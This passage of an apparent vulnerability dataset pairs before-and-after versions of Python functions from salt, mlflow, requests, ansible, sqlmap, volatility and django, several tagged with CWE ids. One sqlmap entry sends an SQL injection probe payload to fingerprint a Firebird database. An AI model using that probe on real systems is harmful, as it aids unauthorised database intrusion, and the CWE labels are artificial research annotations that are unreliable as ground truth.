                log.debug('Failed to delete {0} from bucket {1}: {2}'.format(
                                                    path,
                                                    bucket,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to delete bucket {0}'.format(bucket))
        return

    # This can be used to save a binary object to disk
    if local_file and method == 'GET':
        log.debug('Saving to local file: {0}'.format(local_file))
        with salt.utils.fopen(local_file, 'wb') as out:
            for chunk in result.iter_content(chunk_size=chunk_size):
                out.write(chunk)
        return 'Saved to local file: {0}'.format(local_file)

    # This can be used to return a binary object wholesale
    if return_bin:
        return response

    if response:
        items = ET.fromstring(response)

        ret = []
        for item in items:
            ret.append(xml.to_dict(item))

        if return_url is True:
            return ret, requesturl
    else:
        if result.status_code != requests.codes.ok:
            return
        ret = {'headers': []}
        if full_headers:
            ret['headers'] = dict(result.headers)
        else:
            for header in result.headers:
                ret['headers'].append(header.strip())

    return ret",,saltstack/salt,6fe3ef49de4a8a4acb2a7618fa4241b764809849,"def query(key, keyid, method='GET', params=None, headers=None,
          requesturl=None, return_url=False, bucket=None, service_url=None,
          path='', return_bin=False, action=None, local_file=None,
          verify_ssl=True, location=None, full_headers=False, role_arn=None,
          chunk_size=16384):
    '''
    Perform a query against an S3-like API. This function requires that a
    secret key and the id for that key are passed in. For instance:

        s3.keyid: GKTADJGHEIQSXMKKRBJ08H
        s3.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs

    If keyid or key is not specified, an attempt to fetch them from EC2 IAM
    metadata service will be made.

    A service_url may also be specified in the configuration:

        s3.service_url: s3.amazonaws.com

    If a service_url is not specified, the default is s3.amazonaws.com. This
    may appear in various documentation as an ""endpoint"". A comprehensive list
    for Amazon S3 may be found at::

        http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region

    The service_url will form the basis for the final endpoint that is used to
    query the service.

    SSL verification may also be turned off in the configuration:

    s3.verify_ssl: False

    This is required if using S3 bucket names that contain a period, as
    these will not match Amazon's S3 wildcard certificates. Certificate
    verification is enabled by default.

    A region may be specified:

        s3.location: eu-central-1

    If region is not specified, an attempt to fetch the region from EC2 IAM
    metadata service will be made. Failing that, default is us-east-1
    '''
    if not HAS_REQUESTS:
        log.error('There was an error: requests is required for s3 access')

    if not headers:
        headers = {}

    if not params:
        params = {}

    if not service_url:
        service_url = 's3.amazonaws.com'

    if bucket:
        endpoint = '{0}.{1}'.format(bucket, service_url)
    else:
        endpoint = service_url

    # Try grabbing the credentials from the EC2 instance IAM metadata if available
    if not key:
        key = salt.utils.aws.IROLE_CODE

    if not keyid:
        keyid = salt.utils.aws.IROLE_CODE

    if not location:
        location = __utils__['aws.get_location']()

    data = ''
    payload_hash = None
    if method == 'PUT':
        if local_file:
            payload_hash = salt.utils.get_hash(local_file, form='sha256')

    if not requesturl:
        requesturl = 'https://{0}/{1}'.format(endpoint, path)
        headers, requesturl = salt.utils.aws.sig4(
            method,
            endpoint,
            params,
            data=data,
            uri='/{0}'.format(path),
            prov_dict={'id': keyid, 'key': key},
            role_arn=role_arn,
            location=location,
            product='s3',
            requesturl=requesturl,
            payload_hash=payload_hash,
        )

    log.debug('S3 Request: {0}'.format(requesturl))
    log.debug('S3 Headers::')
    log.debug('    Authorization: {0}'.format(headers['Authorization']))

    if not data:
        data = None

    response = None
    if method == 'PUT':
        if local_file:
            with salt.utils.fopen(local_file, 'r') as data:
                result = requests.request(method,
                                          requesturl,
                                          headers=headers,
                                          data=data,
                                          verify=verify_ssl,
                                          stream=True)
        response = result.content
    elif method == 'GET' and local_file and not return_bin:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl,
                                  stream=True)
    else:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl)
        response = result.content
    if result.status_code >= 400:
        # On error the S3 API response should contain error message
        log.debug('    Response content: {0}'.format(response))

    log.debug('S3 Response Status Code: {0}'.format(result.status_code))

    if method == 'PUT':
        if result.status_code == 200:
            if local_file:
                log.debug('Uploaded from {0} to {1}'.format(local_file, path))
            else:
                log.debug('Created bucket {0}'.format(bucket))
        else:
            if local_file:
                log.debug('Failed to upload from {0} to {1}: {2}'.format(
                                                    local_file,
                                                    path,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to create bucket {0}'.format(bucket))
        return

    if method == 'DELETE':
        if str(result.status_code).startswith('2'):
            if path:
                log.debug('Deleted {0} from bucket {1}'.format(path, bucket))
            else:
                log.debug('Deleted bucket {0}'.format(bucket))
        else:
            if path:
                log.debug('Failed to delete {0} from bucket {1}: {2}'.format(
                                                    path,
                                                    bucket,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to delete bucket {0}'.format(bucket))
        return

    # This can be used to save a binary object to disk
    if local_file and method == 'GET':
        log.debug('Saving to local file: {0}'.format(local_file))
        with salt.utils.fopen(local_file, 'wb') as out:
            for chunk in result.iter_content(chunk_size=chunk_size):
                out.write(chunk)
        return 'Saved to local file: {0}'.format(local_file)

    # This can be used to return a binary object wholesale
    if return_bin:
        return response

    if response:
        items = ET.fromstring(response)

        ret = []
        for item in items:
            ret.append(xml.to_dict(item))

        if return_url is True:
            return ret, requesturl
    else:
        if result.status_code != requests.codes.ok:
            return
        ret = {'headers': []}
        if full_headers:
            ret['headers'] = dict(result.headers)
        else:
            for header in result.headers:
                ret['headers'].append(header.strip())

    return ret"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_search_runs_returns_expected_results_with_large_experiment(self):
        """"""
        This case tests the SQLAlchemyStore implementation of the SearchRuns API to ensure
        that search queries over an experiment containing many runs, each with a large number
        of metrics, parameters, and tags, are performant and return the expected results.
        """"""
        experiment_id, run_ids = self._generate_large_data()

        run_results = self.store.search_runs([experiment_id], None, ViewType.ALL, max_results=100)
        assert len(run_results) == 100
        # runs are sorted by desc start_time
        self.assertListEqual([run.info.run_id for run in run_results],
                             list(reversed(run_ids[900:])))",CWE-703,mlflow/mlflow,e142fbb316a3ca303d75deb679f2d7053a1bd91d,"def test_search_runs_returns_expected_results_with_large_experiment(self):
        """"""
        This case tests the SQLAlchemyStore implementation of the SearchRuns API to ensure
        that search queries over an experiment containing many runs, each with a large number
        of metrics, parameters, and tags, are performant and return the expected results.
        """"""
        experiment_id, run_ids = self._generate_large_data()

        run_results = self.store.search_runs([experiment_id], None, ViewType.ALL, max_results=100)
        assert len(run_results) == 100
        # runs are sorted by desc start_time
        self.assertListEqual([run.info.run_id for run in run_results], list(reversed(run_ids[900:])))"
,UNKNOWN,UNKNOWN,tests/test_utils.py,1,"def test_chunked_upload(self):
        """"""can safely send generators""""""
        block_server = threading.Event()
        server = Server.basic_response_server(wait_to_close_event=block_server)
        data = (i for i in [b'a', b'b', b'c']) 

        with server as (host, port):
            url = 'http://{0}:{1}/'.format(host, port)
            r = requests.post(url, data=data, stream=True)
            block_server.set() # release server block

        assert r.status_code == 200
        assert r.request.headers['Transfer-Encoding'] == 'chunked'",CWE-703,psf/requests,567b31080e62fd52bb9b8fb778736eb05359daa8,"def test_chunked_upload(self):
        """"""can safely send generators""""""
        block_server = threading.Event()
        server = Server.basic_response_server(wait_to_close_event=block_server)
        data = (i for i in [b'a', b'b', b'c']) 

        with server as (host, port):
            url = 'http://{}:{}/'.format(host, port)
            r = requests.post(url, data=data, stream=True)
            block_server.set() # release server block

        assert r.status_code == 200
        assert r.request.headers['Transfer-Encoding'] == 'chunked'"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_aptpkg.py,1,"def test_expand_repo_def_cdrom():
    """"""
    Checks results from expand_repo_def
    """"""
    source_file = ""/etc/apt/sources.list""

    # Valid source
    repo = ""# deb cdrom:[Debian GNU/Linux 11.4.0 _Bullseye_ - Official amd64 NETINST 20220709-10:31]/ bullseye main\n""
    sanitized = aptpkg.expand_repo_def(os_name=""debian"", repo=repo, file=source_file)
    log.warning(""SAN: %s"", sanitized)

    assert isinstance(sanitized, dict)
    assert ""uri"" in sanitized

    # Make sure last character in of the URI is still a /
    assert sanitized[""uri""][-1] == ""/""

    # Pass the architecture and make sure it is added the the line attribute
    repo = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
    sanitized = aptpkg.expand_repo_def(
        os_name=""debian"", repo=repo, file=source_file, architectures=""amd64""
    )

    # Make sure line is in the dict
    assert isinstance(sanitized, dict)
    assert ""line"" in sanitized

    # Make sure the architecture is in line
    assert (
        sanitized[""line""]
        == ""deb [arch=amd64] http://cdn-aws.deb.debian.org/debian/ stretch main""
    )",CWE-703,saltstack/salt,f358d85fdbf3e010f87526b56e768e98ff83b7a7,"def test_expand_repo_def_cdrom():
    """"""
    Checks results from expand_repo_def
    """"""
    source_file = ""/etc/apt/sources.list""

    # Valid source
    repo = ""# deb cdrom:[Debian GNU/Linux 11.4.0 _Bullseye_ - Official amd64 NETINST 20220709-10:31]/ bullseye main\n""
    sanitized = aptpkg.expand_repo_def(repo=repo, file=source_file)
    log.warning(""SAN: %s"", sanitized)

    assert isinstance(sanitized, dict)
    assert ""uri"" in sanitized

    # Make sure last character in of the URI is still a /
    assert sanitized[""uri""][-1] == ""/""

    # Pass the architecture and make sure it is added the the line attribute
    repo = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
    sanitized = aptpkg.expand_repo_def(
        repo=repo, file=source_file, architectures=""amd64""
    )

    # Make sure line is in the dict
    assert isinstance(sanitized, dict)
    assert ""line"" in sanitized

    # Make sure the architecture is in line
    assert (
        sanitized[""line""]
        == ""deb [arch=amd64] http://cdn-aws.deb.debian.org/debian/ stretch main""
    )"
,UNKNOWN,UNKNOWN,test/units/utils/test_collection_loader.py,1,"def test_import_from_collection(monkeypatch):
    collection_root = os.path.join(os.path.dirname(__file__), 'fixtures', 'collections')
    collection_path = os.path.join(collection_root, 'ansible_collections/my_namespace/my_collection/plugins/module_utils/my_util.py')

    # the trace we're expecting to be generated when running the code below:
    # answer = question()
    expected_trace_log = [
        (collection_path, 5, 'call'),
        (collection_path, 6, 'line'),
        (collection_path, 6, 'return'),
    ]

    # define the collection root before any ansible code has been loaded
    # otherwise config will have already been loaded and changing the environment will have no effect
    monkeypatch.setenv('ANSIBLE_COLLECTIONS_PATHS', collection_root)

    from ansible.utils.collection_loader import AnsibleCollectionLoader

    for index in [idx for idx, obj in enumerate(sys.meta_path) if isinstance(obj, AnsibleCollectionLoader)]:
        # replace any existing collection loaders that may exist
        # since these were loaded during unit test collection
        # they will not have the correct configuration
        sys.meta_path[index] = AnsibleCollectionLoader()

    # make sure the collection loader is installed
    # this will be a no-op if the collection loader is already installed
    # which will depend on whether or not any tests being run imported ansible.plugins.loader during unit test collection
    from ansible.plugins.loader import _configure_collection_loader
    _configure_collection_loader()  # currently redundant, the import above already calls this

    from ansible_collections.my_namespace.my_collection.plugins.module_utils.my_util import question

    original_trace_function = sys.gettrace()
    trace_log = []

    if original_trace_function:
        # enable tracing while preserving the existing trace function (coverage)
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            # the original trace function expects to have itself set as the trace function
            sys.settrace(original_trace_function)
            # call the original trace function
            original_trace_function(frame, event, arg)
            # restore our trace function
            sys.settrace(my_trace_function)

            return my_trace_function
    else:
        # no existing trace function, so our trace function is much simpler
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            return my_trace_function

    sys.settrace(my_trace_function)

    try:
        # run a minimal amount of code while the trace is running
        # adding more code here, including use of a context manager, will add more to our trace
        answer = question()
    finally:
        sys.settrace(original_trace_function)

    # make sure 'import ... as ...' works on builtin synthetic collections
    # the following import is not supported (it tries to find module_utils in ansible.plugins)
    # import ansible_collections.ansible.builtin.plugins.module_utils as c1
    import ansible_collections.ansible.builtin.plugins.action as c2
    import ansible_collections.ansible.builtin.plugins as c3
    import ansible_collections.ansible.builtin as c4
    import ansible_collections.ansible as c5
    import ansible_collections as c6

    # make sure 'import ...' works on builtin synthetic collections
    import ansible_collections.ansible.builtin.plugins.module_utils

    import ansible_collections.ansible.builtin.plugins.action
    assert ansible_collections.ansible.builtin.plugins.action == c3.action == c2

    import ansible_collections.ansible.builtin.plugins
    assert ansible_collections.ansible.builtin.plugins == c4.plugins == c3

    import ansible_collections.ansible.builtin
    assert ansible_collections.ansible.builtin == c5.builtin == c4

    import ansible_collections.ansible
    assert ansible_collections.ansible == c6.ansible == c5

    import ansible_collections
    assert ansible_collections == c6

    # make sure 'from ... import ...' works on builtin synthetic collections
    from ansible_collections.ansible import builtin
    from ansible_collections.ansible.builtin import plugins
    assert builtin.plugins == plugins

    from ansible_collections.ansible.builtin.plugins import action
    from ansible_collections.ansible.builtin.plugins.action import command
    assert action.command == command

    from ansible_collections.ansible.builtin.plugins.module_utils import basic
    from ansible_collections.ansible.builtin.plugins.module_utils.basic import AnsibleModule
    assert basic.AnsibleModule == AnsibleModule

    # make sure relative imports work from collections code
    # these require __package__ to be set correctly
    import ansible_collections.my_namespace.my_collection.plugins.module_utils.my_other_util
    import ansible_collections.my_namespace.my_collection.plugins.action.my_action

    # verify that code loaded from a collection does not inherit __future__ statements from the collection loader
    if sys.version_info[0] == 2:
        # if the collection code inherits the division future feature from the collection loader this will fail
        assert answer == 1
    else:
        assert answer == 1.5

    # verify that the filename and line number reported by the trace is correct
    # this makes sure that collection loading preserves file paths and line numbers
    assert trace_log == expected_trace_log",CWE-703,ansible/ansible,d4dec59cb0233530eed98083779b7d07cb8b792f,"def test_import_from_collection(monkeypatch):
    collection_root = os.path.join(os.path.dirname(__file__), 'fixtures', 'collections')
    collection_path = os.path.join(collection_root, 'ansible_collections/my_namespace/my_collection/plugins/module_utils/my_util.py')

    # the trace we're expecting to be generated when running the code below:
    # answer = question()
    expected_trace_log = [
        (collection_path, 5, 'call'),
        (collection_path, 6, 'line'),
        (collection_path, 6, 'return'),
    ]

    # define the collection root before any ansible code has been loaded
    # otherwise config will have already been loaded and changing the environment will have no effect
    monkeypatch.setenv('ANSIBLE_COLLECTIONS_PATHS', collection_root)

    from ansible.utils.collection_loader import AnsibleCollectionLoader

    for index in [idx for idx, obj in enumerate(sys.meta_path) if isinstance(obj, AnsibleCollectionLoader)]:
        # replace any existing collection loaders that may exist
        # since these were loaded during unit test collection
        # they will not have the correct configuration
        sys.meta_path[index] = AnsibleCollectionLoader()

    # make sure the collection loader is installed
    # this will be a no-op if the collection loader is already installed
    # which will depend on whether or not any tests being run imported ansible.plugins.loader during unit test collection
    from ansible.plugins.loader import _configure_collection_loader
    _configure_collection_loader()  # currently redundant, the import above already calls this

    from ansible_collections.my_namespace.my_collection.plugins.module_utils.my_util import question

    original_trace_function = sys.gettrace()
    trace_log = []

    if original_trace_function:
        # enable tracing while preserving the existing trace function (coverage)
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            # the original trace function expects to have itself set as the trace function
            sys.settrace(original_trace_function)
            # call the original trace function
            original_trace_function(frame, event, arg)
            # restore our trace function
            sys.settrace(my_trace_function)

            return my_trace_function
    else:
        # no existing trace function, so our trace function is much simpler
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            return my_trace_function

    sys.settrace(my_trace_function)

    try:
        # run a minimal amount of code while the trace is running
        # adding more code here, including use of a context manager, will add more to our trace
        answer = question()
    finally:
        sys.settrace(original_trace_function)

    # make sure relative imports work from collections code
    # these require __package__ to be set correctly
    import ansible_collections.my_namespace.my_collection.plugins.module_utils.my_other_util
    import ansible_collections.my_namespace.my_collection.plugins.action.my_action

    # verify that code loaded from a collection does not inherit __future__ statements from the collection loader
    if sys.version_info[0] == 2:
        # if the collection code inherits the division future feature from the collection loader this will fail
        assert answer == 1
    else:
        assert answer == 1.5

    # verify that the filename and line number reported by the trace is correct
    # this makes sure that collection loading preserves file paths and line numbers
    assert trace_log == expected_trace_log"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/firebird/fingerprint.py,0,"def __dialectCheck(self):
        retVal = None
        if kb.dbms:
            payload = agent.fullPayload(""AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)"")
            result  = Request.queryPage(payload)
            retVal = ""dialect 3"" if result else ""dialect 1""
        return retVal",,sqlmapproject/sqlmap,c8f943f5e4c2f035753a415f703aad4518e17dc4,"def __dialectCheck(self):
        retVal = None
        if kb.dbms:
            payload = agent.fullPayload(""AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)"")
            result  = Request.queryPage(payload)
            retVal = ""dialect 3"" if result else ""dialect 1""
        return retVal"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/backend.py,0,"def copy_model_into_container(dockerfile_context_dir):
            model_cwd = os.path.join(dockerfile_context_dir, ""model_dir"")
            os.mkdir(model_cwd)
            if model_uri:
                model_path = _download_artifact_from_uri(model_uri, output_path=model_cwd)
                return """"""
                    COPY {model_dir} /opt/ml/model
                    RUN python -c \
                    'from mlflow.models.container import _install_pyfunc_deps;\
                    _install_pyfunc_deps(\
                        ""/opt/ml/model"", \
                        install_mlflow={install_mlflow}, \
                        enable_mlserver={enable_mlserver}, \
                        env_manager=""{env_manager}"")'
                    ENV {disable_env}=""true""
                    ENV {ENABLE_MLSERVER}={enable_mlserver}
                    """""".format(
                    disable_env=DISABLE_ENV_CREATION,
                    model_dir=str(posixpath.join(""model_dir"", os.path.basename(model_path))),
                    install_mlflow=repr(install_mlflow),
                    ENABLE_MLSERVER=ENABLE_MLSERVER,
                    enable_mlserver=repr(enable_mlserver),
                    env_manager=self._env_manager,
                )
            else:
                return """"""
                    ENV {disable_env}=""true""
                    ENV {ENABLE_MLSERVER}={enable_mlserver}
                    """""".format(
                    disable_env=DISABLE_ENV_CREATION,
                    ENABLE_MLSERVER=ENABLE_MLSERVER,
                    enable_mlserver=repr(enable_mlserver),
                )",,mlflow/mlflow,7b4dd4fa654e5e7938141402a245d39a3ed66e40,"def copy_model_into_container(dockerfile_context_dir):
            model_cwd = os.path.join(dockerfile_context_dir, ""model_dir"")
            os.mkdir(model_cwd)
            model_path = _download_artifact_from_uri(model_uri, output_path=model_cwd)
            return """"""
                COPY {model_dir} /opt/ml/model
                RUN python -c \
                'from mlflow.models.container import _install_pyfunc_deps;\
                _install_pyfunc_deps(\
                    ""/opt/ml/model"", \
                    install_mlflow={install_mlflow}, \
                    enable_mlserver={enable_mlserver}, \
                    env_manager=""{env_manager}"")'
                ENV {disable_env}=""true""
                ENV {ENABLE_MLSERVER}={enable_mlserver}
                """""".format(
                disable_env=DISABLE_ENV_CREATION,
                model_dir=str(posixpath.join(""model_dir"", os.path.basename(model_path))),
                install_mlflow=repr(install_mlflow),
                ENABLE_MLSERVER=ENABLE_MLSERVER,
                enable_mlserver=repr(enable_mlserver),
                env_manager=self._env_manager,
            )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/registry/userassist.py,0,"def generator(self, data):
        keyfound = False
        for win7, reg, key in data:
            if key:
                keyfound = True
                for s in self.regapi.reg_get_all_subkeys(None, None, given_root = key):
                    if s.Name == None:
                        item = ""Unknown subkey: "" + s.Name.reason
                    else:
                        item = s.Name
                    yield (0, [str(reg), str(self.regapi.reg_get_key_path(key)), str(key.LastWriteTime), str(item), """", -1, -1, ""N/A"", ""N/A""])
                for subname, dat in self.regapi.reg_yield_values(None, None, given_root = key, thetype = ""REG_BINARY""):
                    dat_raw = dat
                    try:
                        subname = subname.encode('rot_13')
                    except UnicodeDecodeError:
                        pass
                    if win7:
                        guid = subname.split(""\\"")[0]
                        if guid in folder_guids:
                            subname = subname.replace(guid, folder_guids[guid])
                    dat = self.parse_data_dict(dat_raw)
                    if dat:
                        yield (0, [str(reg),
                            str(self.regapi.reg_get_key_path(key)),
                            str(key.LastWriteTime), """",
                            str(subname),
                            dat[""ID""],
                            dat[""count""],
                            dat[""focus""],
                            dat[""time""],
                            dat[""lastupdate""]])
                    else:
                        yield (0, [str(reg),
                            str(self.regapi.reg_get_key_path(key)),
                            str(key.LastWriteTime), """",
                            str(subname), -1, -1, -1, ""-"", ""-""])
        if not keyfound:
            debug.error(""The requested key could not be found in the hive(s) searched"")",,volatilityfoundation/volatility,ac4d3370ee1169cab698309e27b7c9f97d1e60dd,"def generator(self, data):
        keyfound = False
        for win7, reg, key in data:
            if key:
                keyfound = True
                for s in self.regapi.reg_get_all_subkeys(None, None, given_root = key):
                    if s.Name == None:
                        item = ""Unknown subkey: "" + s.Name.reason
                    else:
                        item = s.Name
                    yield (0, [str(reg), str(self.regapi.reg_get_key_path(key)), str(key.LastWriteTime), str(item), """", -1, -1, ""N/A"", ""N/A""])
                for subname, dat in self.regapi.reg_yield_values(None, None, given_root = key, thetype = ""REG_BINARY""):
                    dat_raw = dat
                    try:
                        subname = subname.encode('rot_13')
                    except UnicodeDecodeError:
                        pass
                    if win7:
                        guid = subname.split(""\\"")[0]
                        if guid in folder_guids:
                            subname = subname.replace(guid, folder_guids[guid])
                    dat = self.parse_data_dict(dat_raw)
                    yield (0, [str(reg),
                        str(self.regapi.reg_get_key_path(key)),
                        str(key.LastWriteTime), """",
                        str(subname),
                        dat[""ID""],
                        dat[""count""],
                        dat[""focus""],
                        dat[""time""],
                        dat[""lastupdate""]])
        if not keyfound:
            debug.error(""The requested key could not be found in the hive(s) searched"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/staticfiles_tests/test_storage.py,0,"def test_css_import_case_insensitive(self):
        relpath = self.hashed_file_path(""cached/styles_insensitive.css"")
        self.assertEqual(relpath, ""cached/styles_insensitive.3fa427592a53.css"")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b""cached/other.css"", content)
            self.assertIn(b""other.d41d8cd98f00.css"", content)
        self.assertPostCondition()",CWE-Unknown,django/django,dc8bb35e39388d41b1f38b6c5d0181224e075f16,"def test_css_import_case_insensitive(self):
        relpath = self.hashed_file_path(""cached/styles_insensitive.css"")
        self.assertEqual(relpath, ""cached/styles_insensitive.3fa427592a53.css"")
        with storage.staticfiles_storage.open(relpath) as relfile:
            content = relfile.read()
            self.assertNotIn(b""cached/other.css"", content)
            self.assertIn(b""other.d41d8cd98f00.css"", content)
        self.assertPostCondition()"
,UNKNOWN,UNKNOWN,tests/pytests/integration/states/test_file.py,1,"def _check_min_patch_version(shell):
    min_patch_ver = ""2.6""
    ret = shell.run(""patch"", ""--version"")
    assert ret.returncode == 0
    version = ret.stdout.splitlines()[0].split()[-1]
    if Version(version) < Version(min_patch_ver):
        pytest.xfail(
            ""Minimum version of patch not found, expecting {}, found {}"".format(
                min_patch_ver, version
            )
        )",CWE-703,saltstack/salt,76fcc87785c875e4d5bc64c7bb07e52a0418b8dc,"def _check_min_patch_version(shell):
    min_patch_ver = ""2.6""
    ret = shell.run(""patch"", ""--version"")
    assert ret.returncode == 0
    version = ret.stdout.strip().split()[2]
    if Version(version) < Version(min_patch_ver):
        pytest.xfail(
            ""Minimum version of patch not found, expecting {}, found {}"".format(
                min_patch_ver, version
            )
        )"
,UNKNOWN,UNKNOWN,tests/transformers/test_transformers_model_export.py,1,"def test_peft_pipeline_copy_metadata_in_databricks(mock_is_in_databricks, peft_pipeline, tmp_path):
    artifact_path = ""transformers""
    with mlflow.start_run():
        model_info = mlflow.transformers.log_model(
            transformers_model=peft_pipeline,
            artifact_path=artifact_path,
        )

    artifact_path = mlflow.artifacts.download_artifacts(
        artifact_uri=model_info.model_uri, dst_path=tmp_path.as_posix()
    )

    # Metadata should be copied only in Databricks
    metadata_path = os.path.join(artifact_path, ""metadata"")
    if mock_is_in_databricks.return_value:
        assert set(os.listdir(metadata_path)) == set(METADATA_FILES)
    else:
        assert not os.path.exists(metadata_path)
    mock_is_in_databricks.assert_called_once()",CWE-703,mlflow/mlflow,653f2e6ff63382d683bc5ac0397b08ad2cd48277,"def test_peft_pipeline_copy_metadata_in_databricks(mock_is_in_databricks, peft_pipeline, tmp_path):
    artifact_path = ""transformers""
    with mlflow.start_run():
        model_info = mlflow.transformers.log_model(
            transformers_model=peft_pipeline,
            artifact_path=artifact_path,
        )

    artifact_path = mlflow.artifacts.download_artifacts(
        artifact_uri=model_info.model_uri, dst_path=tmp_path.as_posix()
    )

    # Metadata should be copied only in Databricks
    metadata_path = os.path.join(artifact_path, ""metadata"")
    if mock_is_in_databricks.return_value:
        assert set(os.listdir(metadata_path)) == set(METADATA_FILES)
    else:
        assert not os.path.exists(metadata_path)
    mock_is_in_databricks.assert_called_once()"
,UNKNOWN,UNKNOWN,salt/config.py,1,"def client_config(path, env_var='SALT_CLIENT_CONFIG', defaults=None):
    '''
    Load in the configuration data needed for the LocalClient. This function
    searches for client specific configurations and adds them to the data from
    the master configuration.
    '''
    if defaults is None:
        defaults = DEFAULT_MASTER_OPTS

    # Get the token file path from the provided defaults. If not found, specify
    # our own, sane, default
    opts = {
        'token_file': defaults.get(
            'token_file',
            os.path.expanduser('~/.salt_token')
        )
    }
    # Update options with the master configuration, either from the provided
    # path, salt's defaults or provided defaults
    opts.update(
        master_config(path, defaults=defaults)
    )
    # Update with the users salt dot file or with the environment variable
    opts.update(
        load_config(
            os.path.expanduser('~/.salt'),
            env_var,
            os.path.expanduser('~/.salt')
        )
    )
    # Make sure we have a proper and absolute path to the token file
    if 'token_file' in opts:
        opts['token_file'] = os.path.abspath(
            os.path.expanduser(
                opts['token_file']
            )
        )
    # If the token file exists, read and store the contained token
    if os.path.isfile(opts['token_file']):
        with salt.utils.fopen(opts['token_file']) as fp_:
            opts['token'] = fp_.read().strip()
    # On some platforms, like OpenBSD, 0.0.0.0 won't catch a master running on localhost
    if opts['interface'] == '0.0.0.0':
        opts['interface'] = '127.0.0.1'

    # Make sure the master_uri is set
    if 'master_uri' not in opts:
        opts['master_uri'] = 'tcp://{ip}:{port}'.format(ip=opts['interface'],
                                                        port=opts['ret_port'])
    # Return the client options
    _validate_opts(opts)
    return opts",CWE-605,saltstack/salt,7017f8ff14b532c5926d515902b50621977b56c6,"def client_config(path, env_var='SALT_CLIENT_CONFIG', defaults=None):
    '''
    Load in the configuration data needed for the LocalClient. This function
    searches for client specific configurations and adds them to the data from
    the master configuration.
    '''
    if defaults is None:
        defaults = DEFAULT_MASTER_OPTS

    # Get the token file path from the provided defaults. If not found, specify
    # our own, sane, default
    opts = {
        'token_file': defaults.get(
            'token_file',
            os.path.expanduser('~/.salt_token')
        )
    }
    # Update options with the master configuration, either from the provided
    # path, salt's defaults or provided defaults
    opts.update(
        master_config(path, defaults=defaults)
    )
    # Update with the users salt dot file or with the environment variable
    opts.update(
        load_config(
            os.path.expanduser('~/.salt'),
            env_var,
            os.path.expanduser('~/.salt')
        )
    )
    # Make sure we have a proper and absolute path to the token file
    if 'token_file' in opts:
        opts['token_file'] = os.path.abspath(
            os.path.expanduser(
                opts['token_file']
            )
        )
    # If the token file exists, read and store the contained token
    if os.path.isfile(opts['token_file']):
        with salt.utils.fopen(opts['token_file']) as fp_:
            opts['token'] = fp_.read().strip()
    # On some platforms, like OpenBSD, 0.0.0.0 won't catch a master running on localhost
    if opts['interface'] == '0.0.0.0':
        opts['interface'] = '127.0.0.1'
    # Return the client options
    _validate_opts(opts)
    return opts"
,UNKNOWN,UNKNOWN,tests/utils/test_process_utils.py,1,"def test_cache_return_value_per_process():
    path1 = _gen_random_str1(True)
    path2 = _gen_random_str1(True)

    assert path1 == path2

    path3 = _gen_random_str1(False)
    assert path3 != path2

    no_arg_path1 = _gen_random_no_arg()
    no_arg_path2 = _gen_random_no_arg()
    assert no_arg_path1 == no_arg_path2

    with pytest.raises(
        ValueError,
        match=""The function decorated by `cache_return_value_per_process` is not allowed to be ""
        ""called with key-word style arguments."",
    ):
        _gen_random_str1(v=True)

    f2_path1 = _gen_random_str2(True)
    f2_path2 = _gen_random_str2(False)

    assert len({path1, path3, f2_path1, f2_path2}) == 4

    # Skip the following block on Windows which doesn't support `os.fork`
    if os.name != ""nt"":
        # Use `os.fork()` to make parent and child processes share the same global variable
        # `_per_process_value_cache_map`.
        pid = os.fork()
        if pid > 0:
            # in parent process
            child_pid = pid
            # check child process exit with return value 0.
            assert os.waitpid(child_pid, 0)[1] == 0
        else:
            # in forked out child process
            child_path1 = _gen_random_str1(True)
            child_path2 = _gen_random_str1(False)
            test_pass = len({path1, path3, child_path1, child_path2}) == 4
            # exit forked out child process with exit code representing testing pass or fail.
            os._exit(0 if test_pass else 1)",CWE-703,mlflow/mlflow,43b1ec7476ce2cb40a88d534ca77604f3e02ba01,"def test_cache_return_value_per_process():
    path1 = _gen_random_str1(True)
    path2 = _gen_random_str1(True)

    assert path1 == path2

    path3 = _gen_random_str1(False)
    assert path3 != path2

    no_arg_path1 = _gen_random_no_arg()
    no_arg_path2 = _gen_random_no_arg()
    assert no_arg_path1 == no_arg_path2

    with pytest.raises(
        ValueError,
        match=""The function decorated by `cache_return_value_per_process` is not allowed to be""
        ""called with key-word style arguments."",
    ):
        _gen_random_str1(v=True)

    f2_path1 = _gen_random_str2(True)
    f2_path2 = _gen_random_str2(False)

    assert len({path1, path3, f2_path1, f2_path2}) == 4

    # Skip the following block on Windows which doesn't support `os.fork`
    if os.name != ""nt"":
        # Use `os.fork()` to make parent and child processes share the same global variable
        # `_per_process_value_cache_map`.
        pid = os.fork()
        if pid > 0:
            # in parent process
            child_pid = pid
            # check child process exit with return value 0.
            assert os.waitpid(child_pid, 0)[1] == 0
        else:
            # in forked out child process
            child_path1 = _gen_random_str1(True)
            child_path2 = _gen_random_str1(False)
            test_pass = len({path1, path3, child_path1, child_path2}) == 4
            # exit forked out child process with exit code representing testing pass or fail.
